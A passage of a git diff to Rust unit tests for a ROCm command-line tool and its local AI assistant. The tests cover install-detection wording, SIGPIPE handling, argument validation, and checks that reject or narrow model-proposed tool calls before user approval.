rocm_core::LegacyRocmSummary { + status: legacy_status.to_owned(), + paths: Vec::new(), + detail: None, + version: legacy_version.map(str::to_owned), + }, + wsl: None, + managed_runtime_count, + managed_service_count: 0, + model_cache_entries: 0, + config_dir: PathBuf::from("config"), + data_dir: PathBuf::from("data"), + cache_dir: PathBuf::from("cache"), + } } #[test] - fn render_freeform_plan_exposes_structured_tool_calls() { - let (_root, paths) = test_paths("hybrid-render"); - let rendered = - render_freeform_plan("serve qwen3.5 with vllm", &paths, &RocmCliConfig::default()); - - assert!(rendered.contains("planner: hybrid-parser-v1")); - assert!(rendered.contains("tool_schema: rocm-tools-v0")); - assert!(rendered.contains( - "tool_call: rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" - )); - assert!(rendered.contains( - "next_tool_call: rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" + fn header_does_not_claim_nothing_is_installed_when_rocm_is_present() { + // The reported case: ROCm on the machine, none of it CLI-managed. The + // header counted only managed runtimes, so it said "No ROCm installs + // saved yet" — read as "nothing is installed". + let header = render_examine_plain_header(&summary_with_legacy( + 0, + "detected_unmanaged", + Some("7.14.0"), )); - assert!(rendered.contains("next_tool_approval: required")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn provider_planner_response_reduces_to_validated_rocm_tool_call() -> Result<()> { - let content = r#"{ - "intent": "serve", - "confidence": "high", - "tool_call": { - "tool": "rocm", - "args": ["serve", "sshleifer/tiny-gpt2", "--engine", "vllm", "--device", "gpu_required", "--managed"] - }, - "notes": ["resolved the missing model to a tiny test model"] - }"#; - - let plan = provider_planner_response_to_plan("start a local model", "local", content)?; - - assert!(plan.provider_assisted); - assert!(plan.planner.contains("provider:local")); - assert_eq!(plan.intent, PlannerIntent::Serve); - assert_eq!(plan.confidence, "high"); - assert_eq!(plan.actions[0].approval, "required"); - assert_eq!( - plan.actions[0].args, - vec![ - "serve".to_owned(), - "sshleifer/tiny-gpt2".to_owned(), - "--engine".to_owned(), - "vllm".to_owned(), - "--device".to_owned(), - "gpu_required".to_owned(), - "--managed".to_owned(), - ] + assert!( + header.contains("existing ROCm 7.14.0 found"), + "the detected install and its version must appear:\n{header}" ); assert!( - plan.notes - .iter() - .any(|note| note.contains("validated rocm tool call")) + header.contains("left unmanaged by design"), + "it must read as a deliberate choice, not an oversight:\n{header}" ); - Ok(()) } #[test] - fn provider_planner_rejects_public_bind_requests() { - for content in [ - r#"{ - "intent": "serve", - "tool_call": { - "tool": "rocm", - "args": ["serve", "tiny.gguf", "--engine", "vllm", "--allow-public-bind", "--managed"] - } - }"#, - r#"{ - "intent": "serve", - "tool_call": { - "tool": "rocm", - "args": ["serve", "tiny.gguf", "--engine", "vllm", "--host", "0.0.0.0", "--managed"] - } - }"#, - ] { - let error = provider_planner_response_to_plan("serve publicly", "local", content) - .unwrap_err() - .to_string(); - - assert!( - error.contains("public network binding") || error.contains("non-local host"), - "unexpected error: {error}" - ); - } + fn header_reports_a_detected_install_whose_version_is_unknown() { + // Degrades to naming the install without inventing a version. + let header = + render_examine_plain_header(&summary_with_legacy(0, "detected_unmanaged", None)); + assert!( + header.contains("existing ROCm install found"), + "the install must still be reported:\n{header}" + ); + assert!( + !header.contains(""), + "an unknown version must not leak a placeholder into the summary:\n{header}" + ); } #[test] - fn provider_planner_requires_managed_serve_requests() { - for args in [ - vec!["serve", "qwen", "--engine", "vllm"], - vec!["serve", "qwen", "--engine", "vllm", "--foreground"], - ] { - let call = ProviderPlannerToolCall { - tool: "rocm".to_owned(), - args: args.into_iter().map(str::to_owned).collect(), - }; - let error = validate_provider_planner_tool_call(&call) - .unwrap_err() - .to_string(); - - assert!(error.contains("--managed"), "unexpected error: {error}"); - } + fn header_accounts_for_managed_and_existing_installs_together() { + let header = render_examine_plain_header(&summary_with_legacy( + 2, + "detected_unmanaged", + Some("6.4.1"), + )); + assert!( + header.contains("2 ROCm installs saved"), + "the managed count must survive:\n{header}" + ); + assert!( + header.contains("existing ROCm 6.4.1 found"), + "the unmanaged install must be reported alongside it:\n{header}" + ); } #[test] - fn provider_planner_requires_user_folder_for_therock_install() { - let call = ProviderPlannerToolCall { - tool: "rocm".to_owned(), - args: vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - ], - }; - let error = validate_provider_planner_tool_call(&call) - .unwrap_err() - .to_string(); - - assert!(error.contains("ask the user"), "unexpected error: {error}"); + fn header_still_says_nothing_is_installed_when_nothing_is() { + // The wording only changes when there is something to report. + let header = render_examine_plain_header(&summary_with_legacy(0, "not_detected", None)); + assert!( + header.contains("No ROCm installs saved yet"), + "an empty machine must keep the original wording:\n{header}" + ); + assert!( + !header.contains("existing ROCm"), + "nothing should be claimed on an empty machine:\n{header}" + ); } + /// Regression test for the engine child-stdin write under the process-wide + /// `SIG_DFL` that `main` installs via [`reset_sigpipe`]. If an engine child + /// exits before reading its stdin, the parent's write to that pipe must + /// surface as a `BrokenPipe` error — handled by the caller's diagnostics — + /// rather than killing `rocm` with SIGPIPE before those diagnostics run. + /// + /// The bug only reproduces under `SIG_DFL`; the test harness leaves SIGPIPE + /// at Rust's default `SIG_IGN`, and flipping it process-wide would race + /// sibling tests. So this re-execs itself in fresh processes that install + /// `SIG_DFL` first, and checks BOTH directions: + /// - unguarded write to a dead child's stdin is fatal (killed by SIGPIPE) — + /// this is the regression the plain `SIG_DFL` reset introduced; + /// - the same write wrapped in [`with_sigpipe_ignored`] survives and returns + /// an error instead — this is the fix. + /// + /// Each child reaps its short-lived grandchild before writing, so the read + /// end is closed deterministically and the outcome does not race. + #[cfg(unix)] #[test] - fn provider_planner_response_rejects_cpu_serve_device() { - for args in [ - vec![ - "serve", - "sshleifer/tiny-gpt2", - "--engine", - "vllm", - "--device", - "cpu", - "--managed", - ], - vec![ - "serve", - "sshleifer/tiny-gpt2", - "--engine", - "vllm", - "--device=cpu", - "--managed", - ], - vec![ - "serve", - "sshleifer/tiny-gpt2", - "--engine", - "vllm", - "--device", - "cpu_only", - "--managed", - ], - ] { - let call = ProviderPlannerToolCall { - tool: "rocm".to_owned(), - args: args.into_iter().map(str::to_owned).collect(), - }; - let error = validate_provider_planner_tool_call(&call) - .unwrap_err() - .to_string(); + fn engine_stdin_write_under_sig_dfl_is_guarded_not_fatal() { + use std::os::unix::process::ExitStatusExt as _; - assert!(error.contains("CPU execution")); - assert!(error.contains("ROCm GPU execution")); + // Grandchild helper: reproduce main()'s SIG_DFL, spawn a process that + // exits immediately, reap it, then write to its now-closed stdin. The + // "guarded" arm wraps the write; the "unguarded" arm does not. + if let Some(mode) = std::env::var_os("ROCM_TEST_SIGPIPE_ARM") { + reset_sigpipe(); + let mut grandchild = ProcessCommand::new("true") + .stdin(Stdio::piped()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .expect("spawn a process that exits immediately"); + let mut stdin = grandchild.stdin.take().expect("grandchild stdin"); + grandchild.wait().expect("reap grandchild"); + // Heap-allocated so the buffer doesn't trip clippy::large-stack-arrays; + // it must exceed the pipe buffer so the write actually reaches the + // closed read end rather than being swallowed by kernel buffering. + let payload = vec![b'x'; 64 * 1024]; + if mode == "guarded" { + let result = with_sigpipe_ignored(|| stdin.write_all(&payload)); + assert!( + result.is_err(), + "guarded write to a dead pipe should return BrokenPipe, not succeed" + ); + } else { + // Unguarded: under SIG_DFL this write delivers SIGPIPE and never + // returns. If the process somehow survives, exit 0 so the parent's + // "should have been signalled" assertion fails loudly. + let _ = stdin.write_all(&payload); + } + return; } - } - #[test] - fn chat_tool_call_mutating_install_maps_to_reviewable_rocm_command() { - let call = providers::ChatToolCall { - id: Some("call-1".to_owned()), - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ - "channel": "release", - "format": "wheel", - "prefix": "D:\\ROCm\\therock_venvs" - }), + let exe = std::env::current_exe().expect("current test executable"); + let run_arm = |mode: &str| -> ExitStatus { + ProcessCommand::new(&exe) + .args([ + "tests::engine_stdin_write_under_sig_dfl_is_guarded_not_fatal", + "--exact", + "--nocapture", + ]) + .env("ROCM_TEST_SIGPIPE_ARM", mode) + .status() + .expect("re-exec the test arm in a child process") }; - assert!(!chat_tool_call_is_read_only(&call)); - validate_chat_tool_call(&call).expect("install request should validate for review"); - assert_eq!( - rocm_chat_tool_requested_command(&call).as_deref(), - Some( - "rocm install sdk --channel release --format wheel --approve-replacing-active-default --prefix D:\\ROCm\\therock_venvs" - ) - ); - let approval = chat_tool_approval_request( - &call, - Some("TheRock is not installed yet, so I need to install ROCm first."), - ) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Install ROCm"); - assert_eq!(approval.command_title, "Install"); + let unguarded = run_arm("unguarded"); assert_eq!( - approval.explanation.as_deref(), - Some("TheRock is not installed yet, so I need to install ROCm first.") + unguarded.signal(), + Some(libc::SIGPIPE), + "sanity check: an unguarded stdin write under SIG_DFL must be killed by \ + SIGPIPE (got {unguarded:?}); if not, the test no longer proves the guard matters" ); - assert_eq!( - approval.args, - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--approve-replacing-active-default".to_owned(), - "--prefix".to_owned(), - "D:\\ROCm\\therock_venvs".to_owned(), - ] + + let guarded = run_arm("guarded"); + assert!( + guarded.success(), + "guarded child-stdin write was fatal under SIG_DFL ({guarded:?}) — \ + SIGPIPE reached the process instead of surfacing as an error" ); } #[test] - fn chat_install_sdk_strips_model_supplied_yes_and_skips_consent_on_dry_run() { - // `rocm_command` carries a model-supplied argv that nothing else filters, - // so `--yes` can arrive here. This arm exists to grant the narrow consent - // only; letting `--yes` through would re-grant the system-package/sudo - // consent on a spawn with no terminal to answer a password prompt. - let classify = |args: &[&str]| -> Vec { - let action = chat_rocm_command_action_from_args( - args.iter().copied().map(str::to_owned).collect(), - ) - .expect("install sdk should classify"); - let ChatRocmCommandAction::Approval { args, .. } = action else { - panic!("install sdk is a mutating command"); - }; - args - }; - - assert_eq!( - classify(&["install", "sdk", "--prefix", "/tmp/therock", "--yes"]), - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--prefix".to_owned(), - "/tmp/therock".to_owned(), - "--approve-replacing-active-default".to_owned(), + fn bench_load_rejects_zero_and_unbounded_numeric_arguments() { + for args in [ + [ + "rocm", + "bench", + "load", + "--endpoint", + "http://localhost:8000", + "--concurrency", + "0", ] - ); - - // A dry run returns before the consent gate, so it is not given a consent - // it never uses — matching the dry-run-aware sibling arms. - assert_eq!( - classify(&["install", "sdk", "--prefix", "/tmp/therock", "--dry-run"]), - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--prefix".to_owned(), - "/tmp/therock".to_owned(), - "--dry-run".to_owned(), + .as_slice(), + [ + "rocm", + "bench", + "load", + "--endpoint", + "http://localhost:8000", + "--isl", + "32769", ] - ); - - // Both together: the strip is unconditional, so `--yes` still does not - // survive into a preview spawn, and the dry run still gains no consent. - // A model that emits both must not end up with either flag. - assert_eq!( - classify(&[ - "install", - "sdk", - "--prefix", - "/tmp/therock", - "--yes", - "--dry-run", - ]), - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--prefix".to_owned(), - "/tmp/therock".to_owned(), - "--dry-run".to_owned(), + .as_slice(), + [ + "rocm", + "bench", + "load", + "--endpoint", + "http://localhost:8000", + "--osl", + "32769", ] - ); - } - - #[test] - fn chat_install_sdk_strips_a_model_supplied_yes_in_both_its_bare_and_attached_forms() { - // `--yes` and `--yes=true` are both model-supplied argv that reach the - // chat arm intact: neither `canonicalize_chat_rocm_command` nor - // `validate_chat_rocm_command_safety` splits or rejects either. Whichever - // form survives re-grants into a null-stdin spawn the system-package/sudo - // consent `76c6aa3c` removed, with no terminal to answer the password - // prompt, so the strip has to catch both. - let classify = |args: &[&str]| -> Vec { - let action = chat_rocm_command_action_from_args( - args.iter().copied().map(str::to_owned).collect(), - ) - .expect("install sdk should classify"); - let ChatRocmCommandAction::Approval { args, .. } = action else { - panic!("install sdk is a mutating command"); - }; - args - }; - - // Both terms of `arg != "--yes" && !arg.starts_with("--yes=")` are driven - // here, and each alone: the bare form is caught only by the first, the - // `=` forms only by the second, so dropping either term reddens this test - // on its own rather than leaving one half to a sibling. - for supplied in ["--yes", "--yes=true", "--yes=1", "--yes=false"] { - let args = classify(&["install", "sdk", "--prefix", "/tmp/therock", supplied]); + .as_slice(), + [ + "rocm", + "bench", + "load", + "--endpoint", + "http://localhost:8000", + "--requests", + "10001", + ] + .as_slice(), + ] { assert!( - !args.iter().any(|arg| arg.starts_with("--yes")), - "`{supplied}` must not survive the chat strip, got {args:?}" - ); - assert_eq!( - args, - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--prefix".to_owned(), - "/tmp/therock".to_owned(), - "--approve-replacing-active-default".to_owned(), - ], - "stripping `{supplied}` must leave the rest of the argv and the narrow consent alone" - ); - } - - // Future-proofing, not a guard on the `--yes=` term this test's other - // assertions pin: `--yes-not-a-flag` survives both the exact-match strip - // that preceded that term and the two-term strip that replaced it, so it - // would pass on either. What it does catch is the next edit — widening - // the second term to `starts_with("--yes")` to "simplify" it would start - // eating every argv token that merely begins the same way, silently - // dropping arguments the model legitimately sent. - let args = classify(&[ - "install", - "sdk", - "--prefix", - "/tmp/therock", - "--yes-not-a-flag", - ]); - assert!( - args.iter().any(|arg| arg == "--yes-not-a-flag"), - "the strip must match `--yes` and `--yes=…`, not every token starting with \ - `--yes`, got {args:?}" - ); - - // Second layer, and only the second: clap also refuses an attached value - // on this flag, so even an unstripped `--yes=true` would not parse today. - // That is what the strip above deliberately stops depending on — pinned - // here so a later `num_args` on `--yes` shows up as a failure of the - // backstop rather than passing unnoticed. - for attached in ["--yes=true", "--yes=1", "--yes=false"] { - let error = match Cli::try_parse_from(["rocm", "install", "sdk", attached]) { - Ok(cli) => panic!("`{attached}` must not parse, got {cli:?}"), - Err(error) => error, - }; - assert_eq!( - error.kind(), - clap::error::ErrorKind::TooManyValues, - "expected clap to reject the attached value on {attached}: {error}" + Cli::try_parse_from(args).is_err(), + "accepted invalid args: {args:?}" ); } + } - // Control: the bare form does parse, so the assertions above are about - // the `=`-form and not about `--yes` being rejected outright. - let cli = Cli::try_parse_from(["rocm", "install", "sdk", "--yes"]) - .expect("the bare flag is the form the chat arm strips"); - match cli.command { - Some(Command::Install { - target: InstallTarget::Sdk { yes, .. }, - }) => assert!(yes), - other => panic!("expected `install sdk`, got {other:?}"), - } + fn serve_possible_values(arg_id: &str) -> Vec { + let cli = Cli::command(); + let serve = cli + .find_subcommand("serve") + .expect("serve subcommand exists"); + serve + .get_arguments() + .find(|arg| arg.get_id().as_str() == arg_id) + .unwrap_or_else(|| panic!("serve has no `{arg_id}` argument")) + .get_possible_values() + .iter() + .map(|value| value.get_name().to_owned()) + .collect() } + // Both `--engine` and `--device` restrict their input to a fixed set via a + // clap `value_parser`/`ValueEnum`, so invalid input is rejected as a usage + // error (exit code 2) with the accepted choices listed. Values are advertised + // in `--help` and shell completion structurally (not a hand-written doc + // string), with one deliberate exception: `--device cpu_only` is + // `#[value(hide = true)]` — still accepted so its exit-1 rejection message + // survives, but kept out of help and completion. The sync tests below keep the + // advertised lists honest; `serve_device_help_lists_match_device_policy_names` + // compares against the full `DevicePolicy` set (hidden entries included, via + // `get_possible_values`), so a dropped or renamed variant still fails. #[test] - fn chat_tool_call_mutating_install_accepts_requested_build_date() { - let call = providers::ChatToolCall { - id: Some("call-date".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["install", "sdk", "--channel", "release", "--format", "wheel", "--prefix", "D:\\ROCm\\therock_venvs", "--build-date", "06052026"], - "reason": "The user asked for the TheRock build from 2026-06-05." - }), - }; - - validate_chat_tool_call(&call).expect("date-specific install should validate for review"); - assert!(!chat_tool_call_is_read_only(&call)); + fn serve_engine_help_lists_match_engine_inventory() { + let mut listed = serve_possible_values("engine"); + let mut expected: Vec = builtin_engine_inventory() + .iter() + .map(|(name, _)| (*name).to_owned()) + .collect(); + listed.sort(); + expected.sort(); assert_eq!( - rocm_chat_tool_requested_command(&call).as_deref(), - Some( - "rocm install sdk --channel release --format wheel --prefix D:\\ROCm\\therock_venvs --build-date 06052026 --approve-replacing-active-default" - ) + listed, expected, + "serve --engine possible-values must stay in sync with builtin_engine_inventory()" ); - let approval = - chat_tool_approval_request(&call, Some("Install the requested TheRock build.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Install ROCm"); + } + + #[test] + fn serve_device_help_lists_match_device_policy_names() { + let mut listed = serve_possible_values("device"); + let mut expected: Vec = [ + DevicePolicy::GpuRequired, + DevicePolicy::GpuPreferred, + DevicePolicy::CpuOnly, + ] + .iter() + .map(|policy| device_policy_name(policy).to_owned()) + .collect(); + listed.sort(); + expected.sort(); assert_eq!( - approval.args, - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--prefix".to_owned(), - "D:\\ROCm\\therock_venvs".to_owned(), - "--build-date".to_owned(), - "06052026".to_owned(), - "--approve-replacing-active-default".to_owned(), - ] + listed, expected, + "serve --device possible-values must stay in sync with DevicePolicy names" ); } #[test] - fn chat_tool_call_rejects_mutating_install_without_user_folder() { - let structured = providers::ChatToolCall { - id: Some("call-missing-prefix".to_owned()), - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ - "channel": "release", - "format": "wheel" - }), - }; - let error = validate_chat_tool_call(&structured) - .unwrap_err() - .to_string(); - assert!(error.contains("ask the user"), "unexpected error: {error}"); + fn serve_rejects_unknown_device_policy_as_usage_error() { + // An invalid `--device` must fail clap's value validation (a usage error, + // exit code 2) rather than parsing as a free-form string and failing later + // in application logic (exit code 1). This keeps `--device` consistent with + // every other enum-style argument and lists the valid choices in the error. + let error = parse_serve(&["--device", "bogus"]).expect_err("invalid device rejected"); + assert_eq!(error.kind(), clap::error::ErrorKind::InvalidValue); + } - let command = providers::ChatToolCall { - id: Some("call-command-missing-prefix".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["install", "sdk", "--channel", "release", "--format", "wheel"], - "reason": "Install ROCm." - }), - }; - let error = validate_chat_tool_call(&command).unwrap_err().to_string(); - assert!(error.contains("ask the user"), "unexpected error: {error}"); + #[test] + fn serve_accepts_device_policy_values_and_aliases() { + for (value, expected) in [ + ("gpu_required", DevicePolicyArg::GpuRequired), + ("gpu_preferred", DevicePolicyArg::GpuPreferred), + ("cpu_only", DevicePolicyArg::CpuOnly), + // Historical aliases stay accepted for backward compatibility. + ("auto", DevicePolicyArg::GpuRequired), + ("gpu", DevicePolicyArg::GpuRequired), + ("cpu", DevicePolicyArg::CpuOnly), + ] { + let cli = parse_serve(&["--device", value]).expect("device value parses"); + match cli.command { + Some(Command::Serve { device, .. }) => { + assert_eq!(device, Some(expected), "device value `{value}`"); + } + other => panic!("expected Serve, got {other:?}"), + } + } } #[test] - fn chat_tool_call_service_and_watcher_changes_map_to_reviewable_rocm_commands() { - let stop = providers::ChatToolCall { - id: Some("call-stop".to_owned()), - name: "stop_server".to_owned(), - arguments: serde_json::json!({ "service_id": "svc-qwen" }), - }; - validate_chat_tool_call(&stop).expect("stop request should validate for review"); + fn device_policy_arg_maps_through_parse_device_policy() { + // `as_policy_str` feeds the parsed variant back through + // `parse_device_policy`, the single choke point enforcing the strict + // no-CPU policy. Guard the mapping so a mis-typed arm (e.g. `CpuOnly => + // "gpu_required"`) cannot silently turn the deliberate CPU rejection into + // a GPU-required serve while every other test stays green. assert_eq!( - rocm_chat_tool_requested_command(&stop).as_deref(), - Some("rocm services stop svc-qwen --yes") + parse_device_policy(Some(DevicePolicyArg::GpuRequired.as_policy_str())) + .expect("gpu_required parses"), + DevicePolicy::GpuRequired ); - let approval = - chat_tool_approval_request(&stop, Some("This server is using memory we need.")) - .expect("stop approval should be built"); - assert_eq!(approval.pending_title, "Stop local model server"); - assert_eq!(approval.command_title, "Services"); assert_eq!( - approval.args, - vec![ - "services".to_owned(), - "stop".to_owned(), - "svc-qwen".to_owned(), - "--yes".to_owned(), - ] + parse_device_policy(Some(DevicePolicyArg::GpuPreferred.as_policy_str())) + .expect("gpu_preferred parses"), + DevicePolicy::GpuRequired ); - assert_eq!( - approval.explanation.as_deref(), - Some("This server is using memory we need.") + // `cpu_only` must still be rejected outright rather than mapped to a + // GPU policy. + assert!( + parse_device_policy(Some(DevicePolicyArg::CpuOnly.as_policy_str())).is_err(), + "cpu_only must be rejected" ); + } - let enable = providers::ChatToolCall { - id: Some("call-watch".to_owned()), - name: "watcher_enable".to_owned(), - arguments: serde_json::json!({ - "watcher": "server-recover", - "mode": "propose" - }), - }; - validate_chat_tool_call(&enable).expect("watcher enable should validate for review"); - assert_eq!( - rocm_chat_tool_requested_command(&enable).as_deref(), - Some("rocm automations enable server-recover --mode propose") - ); - let approval = - chat_tool_approval_request(&enable, Some("Recovering failed servers would help.")) - .expect("watcher approval should be built"); - assert_eq!(approval.pending_title, "Enable automation"); - assert_eq!(approval.command_title, "Automations"); - assert_eq!( - approval.args, - vec![ - "automations".to_owned(), - "enable".to_owned(), - "server-recover".to_owned(), - "--mode".to_owned(), - "propose".to_owned(), - ] - ); + fn parse_serve(args: &[&str]) -> Result { + let mut argv = vec!["rocm", "serve", "qwen"]; + argv.extend_from_slice(args); + Cli::try_parse_from(argv) + } - let disable = providers::ChatToolCall { - id: Some("call-disable".to_owned()), - name: "watcher_disable".to_owned(), - arguments: serde_json::json!({ "watcher": "server-recover" }), - }; - validate_chat_tool_call(&disable).expect("watcher disable should validate for review"); - assert_eq!( - rocm_chat_tool_requested_command(&disable).as_deref(), - Some("rocm automations disable server-recover") - ); + #[test] + fn serve_parses_verbose_and_no_smoke_test_flags() { + let cli = parse_serve(&["--verbose", "--no-smoke-test"]).expect("flags parse"); + match cli.command { + Some(Command::Serve { + verbose, + no_smoke_test, + foreground, + managed, + .. + }) => { + assert!(verbose, "--verbose should set verbose"); + assert!(no_smoke_test, "--no-smoke-test should set no_smoke_test"); + assert!(!foreground); + assert!(!managed); + } + other => panic!("expected Serve, got {other:?}"), + } } #[test] - fn proposal_action_rejects_over_long_proposal_id() { - let call = providers::ChatToolCall { - id: None, - name: "proposal_action".to_owned(), - arguments: serde_json::json!({ - "proposal_id": "p".repeat(129), - "action": "show" - }), - }; - let err = validate_chat_proposal_action_tool_call(&call) - .expect_err("over-long proposal_id must be rejected"); - assert!(err.to_string().contains("proposal_id too long")); + fn serve_verbose_conflicts_with_managed() { + // `--verbose` streams logs in the foreground; a backgrounded managed + // server has no foreground stream to attach to, so the two are mutually + // exclusive (point users at `rocm logs` for a managed server instead). + let error = parse_serve(&["--verbose", "--managed"]).expect_err("conflict rejected"); + assert_eq!(error.kind(), clap::error::ErrorKind::ArgumentConflict); + } + + #[test] + fn detach_key_ctrl_d_detaches_ctrl_c_stops() { + assert_eq!(detach_key_outcome(true, 'd'), Some(AttachOutcome::Detach)); + assert_eq!(detach_key_outcome(true, 'c'), Some(AttachOutcome::Stop)); } #[test] - fn chat_tool_call_accepts_expanded_read_only_bridge_tools() { - for call in [ - providers::ChatToolCall { - id: None, - name: "bridge_snapshot".to_owned(), - arguments: serde_json::json!({}), - }, - providers::ChatToolCall { - id: None, - name: "service_logs".to_owned(), - arguments: serde_json::json!({ - "service_id": "svc-qwen", - "lines": 120 - }), - }, - providers::ChatToolCall { - id: None, - name: "automations".to_owned(), - arguments: serde_json::json!({ "event_limit": 12 }), - }, - providers::ChatToolCall { - id: None, - name: "natural_language_plan".to_owned(), - arguments: serde_json::json!({ "request": "check whether ROCm needs an update" }), - }, - providers::ChatToolCall { - id: None, - name: "port_status".to_owned(), - arguments: serde_json::json!({ "host": "127.0.0.1", "port": 8188 }), - }, - providers::ChatToolCall { - id: None, - name: "update_check".to_owned(), - arguments: serde_json::json!({}), - }, - ] { - validate_chat_tool_call(&call).expect("read-only bridge tool should validate"); - assert!( - chat_tool_call_is_read_only(&call), - "{} should be read-only", - call.name - ); - } + fn detach_key_ignores_plain_and_unrelated_keys() { + // Without the control modifier, `d`/`c` are ordinary log-scroll input. + assert_eq!(detach_key_outcome(false, 'd'), None); + assert_eq!(detach_key_outcome(false, 'c'), None); + // Other control combos are not detach/stop triggers. + assert_eq!(detach_key_outcome(true, 'q'), None); + assert_eq!(detach_key_outcome(true, 'z'), None); } #[test] - fn local_assistant_prompt_instructions_cover_core_support_questions() { - let prompt = rocm_chat_tool_system_prompt(); - for expected in [ - "is TheRock installed", - "which GPU is on this machine", - "active_runtime_status=ready", - "legacy_rocm_status=not_detected", - "[\"model\"]", - "--build-date", - "always let the user choose the install folder", - "--prefix", - "do not invent a hidden default folder", - "config", - "comfyui", - "First-time setup is the same thing as bootstrap", - "vllm", - "Qwen3-4B-Instruct-2507-GGUF", - "fixed to qwen", - "served by Lemonade", - "port_status", - "[\"services\",\"list\",\"--all\"]", - "qwen-smoke", - "Do not invent shell commands", - "ROCm CLI Assistant Skill", - "Treat `localhost` and `127.0.0.1` as the same loopback endpoint", - ] { - assert!( - prompt.contains(expected), - "system prompt should mention {expected}" - ); + fn serve_defaults_have_all_flags_off() { + let cli = parse_serve(&[]).expect("bare serve parses"); + match cli.command { + Some(Command::Serve { + verbose, + no_smoke_test, + foreground, + managed, + .. + }) => { + assert!(!verbose && !no_smoke_test && !foreground && !managed); + } + other => panic!("expected Serve, got {other:?}"), } } - /// The reported bug: asked "What can ROCm do on Windows?", the assistant - /// answered that ROCm is Windows-incompatible and suggested CUDA/DirectX — - /// because nothing ever told it which machine it was on. The prompt the CLI - /// actually sends must carry the host. #[test] - fn assistant_prompt_states_the_host_it_is_answering_for() { - let prompt = rocm_chat_tool_system_prompt_for_host(None); - - // The tool-use rules survive the composition (this is the same prompt, - // grounded — not a replacement for it). - assert!( - prompt.contains("You are ROCm CLI's local assistant"), - "the ROCm tool-use prompt must still be there:\n{prompt}" - ); - - // …and it now names this machine's OS and GPU state. - let expected_os = if cfg!(windows) { - "- Operating system: Windows" - } else { - "- Operating system: Linux" - }; - assert!( - prompt.contains(expected_os), - "the prompt must state this machine's operating system:\n{prompt}" - ); - assert!( - prompt.contains("- AMD GPU: "), - "the prompt must state what GPU was detected (or that none was):\n{prompt}" - ); - assert!( - prompt.contains("Never tell the user ROCm is unavailable on their platform"), - "the prompt must refuse the reported answer:\n{prompt}" - ); + fn serve_parses_generation_flags() { + let cli = parse_serve(&[ + "--temperature", + "0.5", + "--top-p", + "0.25", + "--max-tokens", + "128", + ]) + .expect("generation flags parse"); + match cli.command { + Some(Command::Serve { + temperature, + top_p, + max_tokens, + .. + }) => { + assert_eq!(temperature, Some(0.5)); + assert_eq!(top_p, Some(0.25)); + assert_eq!(max_tokens, Some(128)); + } + other => panic!("expected Serve, got {other:?}"), + } } - /// The static prompt asserted two Windows-only facts at every host, which is - /// how a WSL user — where vLLM IS the supported path — was told to go use - /// WSL. Platform claims now come from the detected facts instead. #[test] - fn assistant_prompt_makes_no_unconditional_windows_claims() { - let prompt = rocm_chat_tool_system_prompt(); - assert!( - !prompt.contains("non-technical Windows users"), - "the audience is not assumed to be on Windows:\n{prompt}" + fn serve_rejects_out_of_range_sampling() { + // top-p is a probability; temperature must be non-negative. Both are + // validated at the CLI boundary so a bad value never reaches the engine. + assert_eq!( + parse_serve(&["--top-p=1.5"]) + .expect_err("top-p above 1.0 is rejected") + .kind(), + clap::error::ErrorKind::ValueValidation ); - assert!( - !prompt.contains("On native Windows, vLLM is skipped"), - "the vLLM caveat belongs in the host facts, not the static prompt:\n{prompt}" + assert_eq!( + parse_serve(&["--temperature=-0.1"]) + .expect_err("negative temperature is rejected") + .kind(), + clap::error::ErrorKind::ValueValidation ); - - // Stated only where it is true: present on Windows, absent elsewhere. - let grounded = rocm_chat_tool_system_prompt_for_host(None); assert_eq!( - grounded.contains("vLLM is skipped on native Windows"), - cfg!(windows), - "the vLLM caveat must track the host:\n{grounded}" + parse_serve(&["--max-tokens=0"]) + .expect_err("zero max-tokens is rejected") + .kind(), + clap::error::ErrorKind::ValueValidation ); } - /// The prompt tells the model to "use examine … before answering". The dash - /// registers its machine check as `doctor`, so before the alias that - /// sentence named a tool absent from the dash's schema. #[test] - fn every_tool_the_prompt_names_exists_in_the_dash_schema() { - let prompt = rocm_chat_tool_system_prompt(); - for named in [ - "examine", - "gpu_snapshot", - "port_status", - "natural_language_plan", + fn serve_negative_sampling_space_form_reaches_range_validator() { + // The space form (`--temperature -1`) must reach the value parser and + // report a value error, not be rejected by clap as an unexpected argument. + // This is the classic negative-number-as-flag gotcha; `allow_negative_numbers` + // makes both forms validate identically. `--max-tokens` shares the gotcha even + // though it is a positive integer: the ambiguity is at the tokenizer, before the + // value parser runs, so the space form must reach `parse_positive_u32` too. + for args in [ + &["--temperature", "-1"][..], + &["--temperature=-1"][..], + &["--top-p", "-0.5"][..], + &["--top-p=-0.5"][..], + &["--max-tokens", "-1"][..], + &["--max-tokens=-1"][..], ] { - assert!(prompt.contains(named), "prompt should mention {named}"); - assert!( - rocm_dash_tui::agent::ROCM_READ_TOOL_NAMES.contains(&named), - "the prompt names `{named}` but the dash never registers it, so a \ - model that obeys the prompt calls a tool the schema does not offer" + assert_eq!( + parse_serve(args) + .expect_err("negative sampling value is rejected") + .kind(), + clap::error::ErrorKind::ValueValidation, + "expected range validation for {args:?}" ); } } #[test] - fn deterministic_rocm_tool_summary_interprets_managed_runtime_as_installed() { - let summary = deterministic_rocm_tool_summary( - "\ -examine: - driver_detail: AMD Radeon RX 9070 XT driver 32.0.23033.1002 - legacy_rocm_status: not_detected -runtime_state: - 